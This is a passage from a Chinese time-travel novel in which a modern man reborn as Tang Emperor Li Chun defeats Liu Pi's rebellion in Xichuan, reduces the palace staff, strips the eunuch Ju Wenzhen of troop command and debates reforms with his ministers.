“承蒙陛下垂爱,任命末将为征蜀招讨使,末将自当尽心竭力,拼死奋战,剿灭刘辟的叛乱军队。”
杜黄裳底气十足:
“刘辟跟韦皋比差多了,根本不在一个档次,靠着韦皋留下的家底,就起来**,有些部属并不和他一心,就是靠着几个心腹撑着,有高将军出马,我有信心打赢这场仗。”
李纯仍然有些谨慎:
“有决心、有信心当然是好事,我还想听听两位对具体情况的分析,比如敌我形势对比,用哪个部队出征?”
杜黄裳从容说:
“要说藩镇问题最严重的,当属河北,河南次之,大唐靠南、靠西的区域相对稳定,西川在西南地区,一直以来是比较服从朝廷的。以前韦皋时期,西川实力很强,都不敢犯上作乱,这个刘辟就是个愣头青,以为自己可以掀起大的风浪,胆敢逆流而动。其实西川周边的藩镇还是忠于朝廷的,西川势力单薄,只要朝廷集中军队打击,完全可以剿灭。高将军勇谋兼备,手中就有一支五千人的部队,加上其他地方兵力的配合,完全可以讨平刘辟。”
第15章 讨平刘辟
高崇文拱手道:
“杜相谬赞了,高某从一个士卒成长到现在职位,全赖朝廷的恩典,高某自当誓死报答。高某历经多次变乱和大战,对行军打仗也算有些经验,微臣与吐蕃打仗时,刘辟不过就是一个文官,兵在精不在多,臣愿率部下五千人马为先锋,先解梓州之围,后面皇上再调集其他人马共同**刘辟,臣有信心打赢这一仗。”
此时可用之人不多,看到这两个人有胆有谋,李纯觉得也没啥顾虑的,干吧!
在长安附近,现有立即可用的兵力有两支,就由高崇文率领步骑五千为先锋,李元奕率领步骑两千为后援。至于神策军,战斗力还不强,暂不动用,而且长安周边也需要留有部队防范吐蕃、回鹘。
为了打赢这一仗,李纯展开一系列的部署,令山南西道节度使严砺率领所属部队参战,另外从山南东道、河东道再调集其他部队,向西川进发,所有参战部队,由高崇文统一指挥。并由兵部统一协调各个部队入蜀,征集粮草,保证前方有充足的军需物资。
高崇文雄心勃勃,早就立志靠战功创一番功业,在长武城驻扎时,他就已经训练了五千士兵,常常保持着战备状态,都是精锐部队。
接到诏命后,部队就能快速出发,军中的器械装备与制成的干粮,均已备齐。三日后大军开拔,高崇文由斜谷出兵,李元奕由骆谷出兵,一同奔赴主战场梓州。
高崇文治军严格,要求部队不得扰民,率军至兴元时,将士们停下来在沿途的餐馆进餐,居然有士兵违反军纪,随意把店主的筷子折断扔掉。
行军打仗,有些士兵不免有些畏战心理,高崇文大怒,正好借机树立军威,便将此人斩首示众,众将士无不震慑,不敢耽搁,加快行军。
高崇文由阆州出师,直接挺进梓州,经过一场大战,击败梓州城下的刘辟部将邢泚,解了梓州之围,并在此驻扎。
刘辟看到朝廷的军队攻势凌厉,突然害怕了,为洗刷罪责,他将之前兵败被俘的东川节度使李康交还给高崇文,希望能够缓和形势。高崇文不为所动,以“败军失守”的罪名,将李康斩杀示众,继续进攻刘辟的部队。
与此同时,严砺攻下剑州,其他部队也陆续赶来,参与**刘辟,形成泰山压顶之势。
刘辟没想到这么快就落了下风,急忙退回西川,并命人在成都以北的要冲鹿头山筑城,连结八座栅垒,屯兵一万多人,企图阻止高崇文进攻成都。
高崇文不给他喘息的机会,直接率军赶到鹿头山,在鹿头山阵地展开猛攻,击败出战的西川军队,但由于突降大雨,冲毁道路,无法在此处继续进攻,只能暂停攻势。
刘辟还在鹿头关东面的万胜堆设置栅垒,与鹿头山形成犄角之势,既然鹿头山不能打,高崇文就派骁将高霞寓进攻万胜堆。
高霞寓亲自击鼓进军,唐军奋力向上攀登,猛攻万胜堆,敌军拼死抵抗,不断向进攻的唐军射箭扔石头。
高霞寓也是一员悍将,带领敢死队率先攀登攻击,终于打开一个缺口,其他唐军蜂拥而上,经过连续的激战,唐军终于歼灭此处叛军,夺取万胜堆,并将其栅垒焚毁。
万胜堆失陷,使唐军可以俯视鹿头关全城,唐军已经取得战略优势。
在其他战场,高崇文又先后在德阳及汉州击败刘辟部队,严砺的将领严秦率兵在绵州的石碑谷打败刘辟的一万多人。
朝廷各军与刘辟军先后八次大战,全部告捷,刘辟叛军军心明显动摇。
一个多月以后,高崇文又在玄武击败刘辟的一万多人,刘辟的西川叛军只能龟缩在成都和鹿头山一带。随着朝廷各路军队到达,高崇文兵力更加雄厚,再次在鹿头关击败刘辟军。
参战的河东将领刘光颜前来会合,因为路途遥远,耽误了一天行期,因为怕高崇文责罚,于是想戴罪立功,绕到鹿头关后方,歼灭此处的西川军,阻断刘辟设在此处的粮道,鹿头关的西川军更加被动。
不久,在唐军的连续打击和围困下,鹿头关守将仇良辅和绵江栅守将李文悦支撑不住,抓获刘辟的女婿苏强,先后带领数万士兵向高崇文献城投降,西川军在成都北面的防御阵地全部被拿下,唐军取得了决定性的胜利。
攻克鹿头关后,高崇文率军长驱直入,直逼成都,所到之处,敌军望风披靡、无不崩溃,军队迅速打到成都城下。
刘辟的军队主力在与唐军的多次交战中,损失殆尽,成都只剩下少量兵力,根本难以支撑,只过了十余日,高崇文就攻克成都。
刘辟心知罪孽深重,被唐军抓住就是个死,他和心腹卢文若,带领几十个骑兵向西逃窜,妄图躲入吐蕃。高崇文立即派高霞寓带兵追击,在叫羊灌田地方追上他们。
刘辟和卢文若知道朝廷不会饶过他们,于是先后跳水**,卢文
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若**,刘辟却没有淹死,被唐军捉住,高崇文派人押送长安。
高崇文进入成都后,让各个部队的士兵在城内外分区域驻扎,就地休整,不得进入百姓家中,也不得惊扰市中的店铺。成都富庶,市场上的各种货财堆积如山,竟然没有遭受丝毫的抢掠,唐军严明的军纪受到川蜀百姓的高度赞扬。
高崇文将按照李纯的旨意,只追究参与叛乱人员的罪行,对于被裹挟的人员从宽处理。经过认真审查,高崇文下令斩杀刘辟的两个死党邢泚和沈衍,其他另有少数有罪之人被抓,判处一定的刑罚。
经过调查之后,高崇文认定西川大部分官员无罪,不予惩罚,仍任原职。看到朝廷如此宽大,很多人感恩戴德,对高崇文也非常感激,表示要誓死效忠朝廷。
对于西川的各项军政事务,高崇文认为前西川节度韦皋使制定的各项制度非常完善,运行了二十多年都很好,没必要更改,所以下令,各类事务一律遵从韦皋时期施政的惯例,继续实行。
对于平叛有功的将士,高崇文也非常大度,一方面向朝廷请功,一方面从西川的府库中拿出一些财物奖励给他们。将士们打仗立功,又得到了不少赏赐,全军欢悦。
李纯高度重视西川的战事,认真阅读前方送来的战报,与杜黄裳等几个大臣研究应对策略,调集兵力支援,及时向前方运送军需物资。并根据战事的进展情况,派人慰问军队,鼓励士气,指导下步战事的方向,使前后方能够密切联系,形成合力,提高了平叛的效率。
在关注西川战事的同时,李纯也在推进其他事业,首要的就是抓起教育事业。李纯认为,开启民智位于各项事业之首,唐朝中后期的衰落,不仅是军事上的失败,也是经济和文化上的没落。
李纯在即位以前,就发现唐朝的教育非常混乱,国子监的管理和科举制度尤甚。国子监本是培养人才的地方,居然很多人花钱就可以混进来,滥竽充数,学风败坏。科举制度本是给朝廷选拔人才的,变成了拉帮结派、输送利益的地方,很多官员插手科举,打招呼、递条子,科举成了关系户的天下。
针对这种情况,李纯下令由御史中丞武元衡主持,对所有国子监的学生进行考试,对那些不思学业,成绩低劣的学生一律开除出去。后续重新招收,必须严格考试,招进来有真才实学的人,真正为国家培养人才。
第16章 形势堪忧
鉴于科举制度在当前仍然是选拔人才的主流方式,李纯决定在元和元年五月举行科举考试,为自己执政改革选拔一批人才。
为了防止科举**,李纯选拔了一批学识渊博、品行端正的官员担任考官,最后自己还要亲自对入围的卷子进行审核。
经过认真的选拔,李纯觉得选取的人文采都不错,文章写的都很好,但是就是不知道实际能力如何。由于自己对唐朝的科举制度还不是非常熟悉,就先按照以前的标准,选取了一批进士。
李纯在忙着处理各种事务的同时,深感唐朝的很多情况跟前世不一样,很多规矩和模式都不同。
李纯花了很多时间研究朝廷权力的运作方式,熟悉每个部门的职责,观察朝中的重要官员,掌握他们官职的才能。
作为皇帝,李纯还要了解唐朝有多少个道、多少个州县、人口财税情况,也要了解清楚,还有诸如军队、藩镇、宫中的情况也要掌握清楚,消耗了很多精力。
李纯把主要精力用在梳理唐朝目前存在的问题上,经过不断的观察和思考,他进行分析总结,觉得当前面临三个主要问题。
一是藩镇割据问题,全国共有几十个藩镇,各个拥兵自重,桀骜不驯,经常作乱,是唐朝最大的问题,在历史上唐朝就是亡于藩镇之乱。
二是宦官问题,玄宗以后,皇帝们宠信重用宦官,宦官数量庞大,手握禁军,掌握了很大的权力,形成一个利益集团,干预皇帝废立,尾大不掉。
三是财政问题,全国历经战乱,百姓贫困,很多藩镇不向朝廷交税,朝廷财源匮乏,仅能维持最基本的运转,无力进行赈济扶贫,也做不了什么大事。
在这三个主要问题之外,还有三个次级的问题。
一是外族威胁,吐蕃、回鹘、南诏等政权经常趁唐朝内乱,对唐朝边境地区进行抢掠,但是近年来没有发生大的冲突,目前处于均势状态。
二是官员**,由于朝廷财政紧张,给予官员的俸禄较低,很多官员为了增加收入,明里暗里进行****,加重了百姓负担。
三是土地兼并,唐朝中后期以后,土地的兼并集中的形势越来越突出,一些豪强权贵占有大量土地,而大量贫民沦为佃户和流民,生存条件堪忧。
李纯还发现,朝廷的机构非常庞杂、职能重叠,除了熟知的三省六部,还有九寺五监一台,供养着几千名官员。
对于三省六部,李纯耳熟能详,九寺五监一台是个什么玩意,朝廷还要搞几个寺庙?
仔细一研究,原来九寺就是九个机构:太府寺、太常寺、司农寺、宗正寺、光禄寺、鸿胪寺、卫尉寺、太仆寺、大理寺。五监一台是:国子监、军器监、将作监、都水监、少府监、御史台。
光是研究这些机构的职能,就花了李纯好久的时间,发现这些寺监独立于三省六部,职能又与六部部分重叠混杂,让人扯不清。
六部尚书和御史大夫都是正三品,属于正部级,九寺五监则比较乱,有的正部级、有的副部级,很多都属于养人的单位,比如那个光禄寺、少府监之类的,就是管一些吃喝杂事,也搞成个副部级,成了老干部安置中心,让人无语。
皇宫内的乱七八糟的机构也是很多,在皇宫内不仅设置内十二监,还又设了三个省:秘书省、殿中省、内侍省,机构职责相互重叠,小事大办,光是服务皇帝的就有好几个部门,加上宫女太监,有上万人,太浪费了。
人多占位置干活也行,可是却有很多人还玩躺平、玩忽悠,工作上搞糊弄,真正干实事的没有多少人。老的老,病的病,弱的弱,发薪水都到的很齐,需要干活时,这个人不清楚、那个人身体有恙,把人气的个半死。
关键是,李纯当初立太子当皇帝,这些人都有拥立之功,皇帝还不能随便赶人走,否则道义上说不过去。就算狠心把人赶走了,也找不到几个能干的接任,既做了恶人,也不好收场。
皇室的一大堆勋贵,也是非常烧钱,前几任皇帝都很能生,光封的王就有几十个,还有其他皇亲国戚,朝廷都要出钱养着,每个人的费用不菲,成为朝廷的一大负担。好在这些宗族们有吃有喝,在**上没啥野心,没有给自己添乱。
外戚方面还没有明显的问题,自己母后那边,自己嫔妃这边,都没有亲属在朝中形成势力。自己几个妃子的亲属,如果确有能力的,后面可以给个合适的职位,但是不能给其重要的权力,防止做大成患。
当了皇帝,本以为很风光,还想着大干一番,没想到接手的所谓大唐王朝只剩下一个虚弱的躯干,积累了太
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多的问题,如果自己不采取一些有力举措,这个躯干就有可能倒下。
事情再难,千头万绪,总要一丝一丝去理顺,逐步解决存在的问题。机构改革、裁减人员,提高效率,都是必须要搞的,只是当前时机还不到,前面高崇文在跟刘辟打仗,后面自己如果再砸官员的饭碗,一旦出了乱子,就够自己喝一壶的。
机构改革的事,自己可以先构思,在脑子里先搭个架构,后面酝酿成熟了,等到合适的机会再施行。另外还要留意观察,挑选几个办事能力强的的大臣,利用好手中的人事权,逐渐的汰冗补强,把官员队伍的整体能力水平提上来。
李纯即位以后,深感人才匮乏,很多官员能力低下,找不到几个能够辅助自己干大事的人才。即位不久,在武元衡的推荐下,李纯将饶州刺史李吉甫召回入朝,任吏部的考功郎中。
经过一段时间的相处,李纯发现李吉甫这个人特别有才华,知识丰富,思想进步,能力突出,在元和元年5月,将其提拔为中书舍人,也就是相当于皇帝的行政秘书,从此成为李纯非常倚重的大臣。
从元和元年的正月到八月,西川的平叛战事整整进行了七个月的时间,高崇文终于彻底剿灭叛乱,在八月底派人把刘辟押送长安。
对于刘辟,李纯非常恼怒,自己刚即位他就**,明明已经对他让步了,愿意给他封节度使,还是发动叛乱,搞得朝廷非常难堪。为了警示其他藩镇,李纯直接下令,将刘辟斩首示众,以震慑心存叛逆之心的人。
对于高崇文,李纯感念其功劳,也欣赏他的善后处理方式,西川也需要一个能人来管,决定破格提拔,封高崇文为西川节度使,镇守西南。
对于此次战事表现突出的严砺、严秦、高霞寓、刘光颜、李元奕等人,李纯也将一一封赏,加官进爵,并准备在以后的削藩战役中重用他们。
对于谋划和举荐人才有功的杜黄裳,已经是宰相了,李纯就专门下旨表彰,并赏赐他一笔丰厚的财物。
平定刘辟的叛乱之后,李纯算是能够安稳立足下来,开始系统性的考虑下步的施政方向,重点是解决当前存在的问题。由于唐朝目前存在的问题很多,想一下子解决非常不现实,只能有重点的先挑一两个处理,然后再逐步推进。
第17章 削减宫人
李纯经过思考,决定将首先把解决宦官问题作为突破口,而对高崇文的封赏,就是一个借机削弱宦官的机会。
当时宫中宦官有三巨头,分别是俱文珍、刘光琦、薛盈珍。这三个人在拥立自己为帝的过程中,都立下大功,目前地位显赫,权倾朝野。
排第一的自然是俱文珍,此人有能力、有气魄,身为大内总管,又掌握左神策军,自是宦官的头领,李纯即位以后,俱文珍还算安分,没做太出格的事。
排第二的是刘光琦,担任内枢密使,是协助皇帝处理朝政的太监,在传达皇帝旨意时,经常借机搭送私货。
排第三的是薛盈珍,掌握右神策军,凭借拥立皇帝的机会,权势日增。
这三个宦官,虽然拥立李纯登上帝位有功,但是权势太大,逐渐表现出居功自傲、谋取利益的趋势。宦官之祸,是唐朝中后期衰落的一个重要因素,如不及时根除,将成为本朝带来难以控制的隐患。
对于宦官,李纯没有什么偏见,但是必须要限制其权力,特别是解除兵权,杜绝干政的机会,使其只能在宫中事务发挥作用。
打蛇要打头,李纯这次考虑,先削除权力最大的俱文珍手中兵权,理由是现成的,高崇文立了大功,朝廷要派宦官前去传旨封赏,传旨太监就选俱文珍去。
为了麻痹他的思想,李纯决定采取利诱的方式,让人暗示高崇文在西川缴获很多财物,传旨太监可以获得不少回赠。
俱文珍听说李纯要派他去西川传旨,也没多想,宫中重要太监出去传旨是惯例,而且高崇文在西川打了胜仗,缴获了很多财物,自己去了自然可以捞一些好处,何乐而不为。
出发前,李纯还专门召见俱文珍,对他说:
“高崇文立了大功,朕封其为西川节度使,朝中要派一个德高望重的人去传旨,俱公公和高崇文私交不错,你去最合适。”
俱文珍听了以后很高兴,赶忙说:“为皇上分忧,是老奴的本职,老奴定不辱使命,把这件事办好。”
李纯又关心道:
“此次去西川,一去一回,要几个月,你手里负责的事,跟其他人交代一下,让他们先干着,此到西川路途遥远,俱公公年龄大了,可以稳当一些,不必赶时间。”
都是中规中矩的安排,还体现了李纯的爱护之意,俱文珍很高兴,第二天就带着宣旨队伍出发了。
俱文珍走后,李纯又开始考虑削减宫中人数的事。目前朝廷财政紧张,李纯要办的事很多,特别是制造火器,需要花不少钱,必须要精打细算,能省则省。
自己崇尚简单朴素,嫔妃也没几个,宫中根本就不需要那么多人,养着这些人浪费不少财力,必须要进行分批裁减。
李纯正想着裁减宫人的事,吐突承璀跑过来伺候,李纯对他说道:“你的名字吐突承璀,不太好听,说起来拗口,朕要给你改个名字,你意下如何?”
吐突承璀当即跪下答道:“奴才父母文化不足,当时也就是给奴才随口取了个名字,不太好听,奴才恭请陛下赐名。”
李纯道:“你跟朕也有段时间了,还算聪明伶俐、忠心可嘉,朕就赐你姓李,中间的承保留,你是闽人,就添个闽字,取名李承闽,你觉可好?”
吐突承璀叩拜道:“陛下思虑周全,此名甚佳,奴才以后就叫李承闽,奴才拜谢陛下赐名之恩”
李纯道:“起来吧,我以后就叫你小李子,我最近在想,我一个皇帝,3个妃子,10个孩子,宫里宫外却有上万宫女宦官伺候,是不是太浪费了?”
李承闽说:“皇帝是一国之君,各项事务的方方面面,都要有人管,有人伺候,可不能马虎,自然是多需要点人。”
李纯道:“人虽然很多,未必都是替朕办事,听说很多太监打着给皇帝办事的旗号,办私事、捞好处,你是朕的身边人,给朕说句实话。”
李承闽答道:“我们宦官都是忠心为皇帝办事,大部分都是很努力的,当然也有些不长眼的,借机搜刮,毕竟是少数,略施惩戒就好。”
李纯正色道:
“你就别替他们遮掩了,自玄宗皇帝起,宦官的权势就越来越大,当时就有一个高力士,到了肃宗皇帝,又出了一个权势熏天的李辅国,后面还有鱼朝恩,到了德宗皇帝,宦官又掌握禁军,这次朕能驱逐王叔文等人,俱文珍和刘光琦等人发挥了巨大作用,足见你们宦官之势大。”
李承闽连忙说:
“陛下目光如炬,什么都瞒不过陛下的眼睛,俱文珍自从帮助陛下驱逐王叔文,拥立陛下登基后,自高自大,对宫里其他太监随意呵斥,我们对他一肚子意见。”
李纯察觉到了李承闽借机排挤俱文珍的意图,就说道:
“俱文珍虽有你说的那些毛病,但是大方向还是很好,在朕登基之时立了大功,高崇文平定西川后,还是他替朕去西川宣旨,他也只是喜欢在你们面前拿架子,并没有干预政事,总体还算可以。”
李承闽:“俱公公立了大功,我们自无意见,但是刘光琦有些不安分,有勾结朝臣干政的嫌疑,请陛下明见。”
李纯听了以后,知道宦官内
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部为了争权夺利,也会互相打小报告,这样也好,可以分化瓦解。关于刘光琦的事,他也记下了,后面会找机会处理,于是说:
“你说的,朕知道了,以后会处理,上万的宫女太监,人数太多,你找刘光琦商议一下,让那些想出宫的宫女太监,可以出去一些,愿意出去的,可以给些赏钱。”
李承闽说:“每年宫里都会放出去一些人,后面还会新招一些,今年还招吗?”
李纯道:“此次只放不招,几年内都不要再招,不仅皇宫不招,诸王那边也不准再招,不够的就从皇宫这边挑一些过去。”
经过征询意见,宫女想出宫的多些,到了年龄急着想着嫁人,太监比较少,他们都是阉人,很难找到合适的职业,到了民间会被人耻笑,很多人不愿出去。
最后,经过做动员,宫女出去的比较多,有一千五百人,大概去掉了三成,宦官里面也有一些年老想回乡的,在宫里被欺压的,或者有些手艺的想出去,共有五百多人,大概走了一成,宫女太监一共出宫两千多人。
想到总体少了两千人,李纯觉得总算减少了一些负担,反正也是他们自愿的,没有强迫,不会引起动荡,剩下的还是偏多,以后找机会再减少一些,逐步消化。
李纯又一想,这次出去一千五百多个宫女,就有一千五百多个男人可以找到老婆,然后又可以生孩子,既是一件善事,也可以促进国家人口增长。
对于怎么分割俱文珍手里的兵权,李纯也是费了一番脑筋。首先是选将问题,合适的人选不好找,思来想去,李纯选中了范希朝,范希朝是员大将,在朝中威望高,虽然和王叔文有过来往,但是关系不深,对朝廷还算忠心,让他统领神策军,各方面都能接受。
禁军分左右神策军两支,李纯决定让他接替俱文珍统领左神策军,右神策军统领暂时不作更换,仍由薛盈珍担任,这样宦官的反弹也会小点,以后找到合适机会再换人。
李纯下旨任命新的神策军将领时,宦官们有点一惊,怎么分了宦官的兵权?手握左神策军兵权的俱文珍不在,刘光琦是内枢密使,懒的管,薛盈珍统领右神策军不变,也没动力管。
俱文珍是宦官们的首领,他这一走,宦官们没人敢领头,反正其他人的利益也没动,所以也没闹出什么浪花。
左神策军换将这事没有引起什么反弹,平稳的就过去了,范希朝顺利接管左神策军,他与左神策军的将领也算熟识,没有采取换人或者其他激进的措施,两个月就顺利掌握了左神策军。
第18章 朝堂论政
俱文珍到了成都后,代表朝廷宣旨,正式任命高崇文为西川节度使。高崇文非常高兴,也想与这个大内总管交好,就从府库中拿出大笔财物赠送给俱文珍,俱文珍心里乐开了花。
几个月后,俱文珍返回长安,发现左神策军的兵权已经被拿走了,但是也无可奈何。李纯还专门找他安慰一番,让他仍然做大内总管,还是宦官的头领,还给了他一些赏赐,这事也就过去了。
后面,俱文珍越想越不是味,虽然得了一些钱财,但是丢掉了兵权,虽然还是宦官的老大,但是没有以前威风了。当时自己不在长安,但是其他太监居然也没有帮自己说话,心里气愤不已,多次骂其他太监忘恩负义。
平时,俱文珍仗着自己给皇帝立过大功,不把别的太监放在眼里,经常在别的太监摆架子,搞得很多太监对他不服,对他也没有以前那么言听计从了。
在寝宫里,李纯又回想起在前世的生活,想起以前的家人朋友,内心无限感慨,再想到自己来到唐朝以后,虽然经历了一些波折,但是总算度过难关,有了一个好的开局。
他又想起了历史书中关于唐宪宗的记载,此人前期也算是有些作为,干了几件漂亮事,成功削平了几个大的藩镇,但他跟唐玄宗有点类似,前明后暗,前期办了几件大事后,后期就开始奢侈昏庸,甚至崇道佞佛,最后为了长生服用金丹而死。
自己不能走他的老路,后面要逐渐开拓自己的道路,毕竟利用一生的时间统一世界不是那么容易的,还有**、经济、军事、科技,都急需发展起来,还要要选贤任能,改革进取,把唐朝彻底振兴起来,干出更大的事业。
李纯想,登基都一年了,才讨平了刘辟,办了几件小事,按照这个速度,要到驴年马月才能有大的突破,当务之急是理清目前的局势,找到朝廷的下步施政重点,君臣齐心,逐一破解难题,快些把国家富强起来。
第二天,李纯召集朝臣在含元殿进行大朝会,讨论朝廷的大政方针。朝会仍由俱文珍充当话事人,由他向大臣们传达圣意,要求众臣对当前的局势和施政重点发表看法。
杜黄裳首先出班奏道:
“德宗皇帝以来,藩镇之乱已经成为我朝的毒瘤,各节度使先后拥兵作乱,朝廷跟地方的节度使发生多次战争,损兵折将,生灵涂炭,皇上刚即位就出了刘辟之乱,削藩势在必行。”
武元衡出班奏道:
“臣附议杜相之言,当前拥兵割据的藩镇,是我朝的大患,臣认为应当逐一讨平,扫平叛逆,恢复大一统格局。”
李纯则说:
“两位爱卿言之有理,但是由于藩镇割据,分走了大量的财力、兵力,削藩所需军队钱粮从何而来?”
李绛出班奏道:
“陛下,征兵打仗首先就是需要强大的物质保障,臣建议改革财税政策,上收财权,扩大税源,提高朝廷的财政实力”
李纯嘉许道:
“李爱卿所言,亦是朕之所想,目前朝廷确实缺钱,户部要拿出一个财税改革的方案,改善朝廷的财政情况。”
没想到户部尚书李巽却说:
“目前全国很多藩镇都不按照规定缴纳钱粮,目前朝廷直接控制的地方有限,百姓的负担比较重,不能加税,财政改革的事只能徐徐为之。”
大理寺卿陈达封不干了:
“我看不尽如此,据臣所知,有些豪门权贵隐匿土地、窝藏人口,如果把这一块挖出来,就可以增加一笔收入。”
李吉甫也跟着说:
“由于藩镇之乱,很多百姓逃亡,其中有一部分被豪门大户藏匿,如果挖出来,确实能增加朝廷的收入。”
李纯大体也知道这个情况,但觉得目前动权贵似乎还不到时机,等到后面再专门筹划这个事,就说道:
“这个户部可以先清查,如果确实有藏匿土地和人口的行为,自然要严惩不贷,刚才说到削藩,其他人还有没有好的主意?”
裴垍出班奏道:
“臣以为,削藩势在必行,但不一定都需要讨伐实现,顽固的、势大的只有成德、卢龙、淮西、魏博、平卢等几个节度使,其他的大都是墙头草,只要打击首恶,其他的定会望风披靡,做到事半功倍。”
李纯点点头:“裴爱卿所言不错,从目前来看,应当首先打击哪几个藩镇?”
只见一名年轻帅气大臣出班奏答,李纯定睛一看,此人就是当朝才子元稹。凭着记忆,李纯知道,此人在一些书中曾被称为“渣男圣手”,历史上元稹少年得志,文才一流,政才卓越,情场得意,当朝有才的美女先后都跟他有过情史。
此人还与当朝大文豪白居易是好朋友,元稹比李纯小一岁,算是同龄人,泡妞的事,自己兴趣不大,**上倒是可以好好用他。
元稹还只是一个普通官员,但是一点也不怯场,只见他从容答道:
“微臣以为,平卢节度使李师道、镇海节度使李锜居心叵测、首鼠两端,小动作不断,存割据自立之心,应当首先拔除。”
裴垍接着元稹的话题说:
“李锜这个人,我比较了解,此人志大才疏,自命不凡,却能力平平,其军队战斗力一般,内部心也不齐,存在隔阂,易于击破。”
李纯道:“裴爱卿说李锜内部心不齐,存在隔阂,可有依据?”
裴垍继续说道:
“李锜贪财好色,刻薄寡恩,聚敛的钱财大都据为己有,对待部下比较吝啬,又多疑,属下很多官员其实不服他。他如果要谋反,必然有很多人不愿跟随他,完全可以策反一批人。”
李纯颔首道:
“裴爱卿说的消息很
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重要,削平藩镇,要刚柔并济,靠征讨耗费大,破坏也大,如果可以使用计谋,让他们内部瓦解,确实更妙。裴爱卿,关于李锜之事,你可以先收集一些信息,提前谋划,等时机成熟再解决此事。”
裴垍慨然道:“为陛下分忧,乃臣之本分,臣定当殚精竭虑,想尽办法,把这件事做好。”
李纯想换个话题:“藩镇作为我朝的最大问题,毋庸置疑,其他方面的事,众位爱卿也好好谈谈。”
李绛奏道:“臣以为,我朝还有一大问题,那就是宦官干政的问题,近些年宦官权势太大,应当进行限制,不然容易祸乱朝政。”
李纯知道他说的是实情,但是俱文珍就在朝会上,如果自己贸然表态肯定会打草惊蛇、刺激宦官,于是道:
“李爱卿过虑了,目前我朝的宦官们都还不错,情况没有那么严重,朕会酌情处理。”
杜黄裳和俱文珍关系不错,连忙打圆场:
“陛下说的对,前朝确实是有些宦官太过分,我朝的宦官总体还算本分,适当限制一下权力就好。”
没想到李绛犯了倔脾气,说道:
“宦官之祸不得不防,宦官必须要严格限制在宫内,要解除宦官的兵权和干政的权力!”
李纯看到俱文珍的脸上已经变色了,明显是蕴含着怒气,如果再不打住就可能搞出第二个“甘露之变”,于是佯装发怒道:
“朕此次登基,宦官出了大力,哪有你说的那些问题?此议不必再提,今天朕请众位爱卿献言献策,重点放在治国兴邦上,可以讨论一下其他议题。”
李绛看到李纯生气了,知道多说无益,于是不再言语。
李吉甫出班奏道:“臣长期在地方为官,今年才入朝为官,臣除处理政务外,比较喜欢研究山川地理和人口财税等数据,先后编了《元和州县图志》和《元和国计簿》,可为陛下治理天下、平定藩镇提供一些依据。”
李纯对地理和重要数据也很感兴趣,这也不是几句话就能讲清的,就说道:“李爱卿的这两本书,朕甚感兴趣,朕明天上午在宣政殿单独召见你,再详谈一下。”
经过各位大臣的不断发言,李纯感众臣对问题的看法与自己大体一致,但是如何解决这些问题,却没有议出什么良策,在朝堂上一直讲问题,也没什么意思,就想结束朝会。
看到大家都不怎么发言了,李纯就对俱文珍摆摆手,俱文珍当即明白意思,对众臣喊道“朝会结束,退朝!”
李纯举行大朝会,一方面是要征集众臣好的意见和建议,另一方面也是观察各位大臣的态度。
今天朝会来了很多大臣,但是积极发言的就那么几个,大部分都是不吭声,有的官员职低言微还可以理解,但是像郑余庆、杜佑身居宰相,居然也是没有任何表态。
第19章 君臣倾谈
李纯认为,选人用人是他今后一个阶段的重点工作,对于那些尸位素餐,能力不足的官员要逐步找机会换掉,选拔一批有思想、能干事的官员上来,帮助朝廷解决一些难题,国家才能逐渐兴盛。
对于自己梳理的6个问题,李纯根据轻重缓急也排了个序。
关于外族威胁,目前已经缓和了不少,边境基本平稳,内忧尚未解决,短期内不宜对外用兵,这个可以放在后面搞。
藩镇割据是目前最大的问题,但是解决难度很大,短期内急不得,搞不好会出乱子,可以先研究制造一批火器,逐步建立一支直属朝廷的强大军队,日后有机会再逐步解决。
官员**和土地兼并,问题积累多年,不是一朝一夕就能解决的,一旦操之过急,很有可能造成极大的反弹,如果跟藩镇问题搅在一起容易出大乱子,目前自己的地位尚未完全稳固,需要等到合适的机会再逐步解决。
宦官问题是短期内可以办的事,前面已经解除了俱文珍的兵权,其他人的权力也要压缩,但是要寻找合适的机会和借口,逐步去解决,如果师出无名、操之过急,会引起宦官们的集体反击,将会难以控制。
经济问题,是近期要重点抓的方向,尽量开源节流,从自己做起,减少宫中的用度,其他其他能省的也要省,要抓几个理财的能手,采取一些措施增加朝廷的收入,这样才能放开手脚做事。
李纯认为,每天的早朝完全就是**,君臣起来那么早,聚在一起空谈,却不能拿出有效措施,有那个时间还不如安排官员们做一些实事。
所以,在即位半年后,李纯就取消每天的早朝,改为五天一次的朝会,时间也安排在早饭以后,朝中六品以上的官员参加,其他有事要禀报的小官也可以参加,借以发现人才。
平时的各种政务,李纯基本都是在宣政殿处理,召见官员,沟通讨论,定下决策,普通的小事就由几个宰相和各部官员去处理,李纯不愿为了细枝末节的事情操心。
李纯认为,李吉甫虽然在大朝会上发言不多,但他是朝中知识最丰富的官员,对唐朝的人口、赋税、州县等情况非常熟悉,为人也很有思想,李纯很喜欢和他交流,朝会上听说他编了两本书,就想借着让他献书的机会,跟他单独深入探讨一下。
大朝会后的第二天上午,李纯在宣政殿召见中书舍人李吉甫。
只见李吉甫捧着两本厚厚的书,进殿拜见皇帝,李纯道:
“李爱卿昨日所言,朕极为重视,虽即位一年多了,但朕是对大唐山川人口,财赋矿藏,还不完全清楚,这都是治国的重要依据,李爱卿坐下来,跟朕好好讲讲。”
李吉甫娓娓道来:
“禀陛下,我朝在玄宗皇帝时,全国设有15道,295个州,1453个县,人口最多时达到七千多万,士兵五十余万,经济富饶,国力强大,被称为“开元盛世”。但是在“安史之乱”后,北方破坏严重,大量的人口死亡或逃亡,国势转衰,其后多年的藩镇之乱,人民的苦难加重,有的人不堪忍受,逃亡到南方或进入深山老林。德宗朝,吐蕃和回纥多次入侵,安西、北庭全部丢失,陇右也被吐蕃侵占,原来在东北臣服我们的契丹人和渤海国也趁机独立,我朝现在控制的地盘和人口大为缩减。”
李纯听了,自己原来了解的还是有限,局势竟比预想的还差,就关切的问:“那么,现在朝廷所能控制的州县、人口、财赋、兵力如何?”
李吉甫答道:
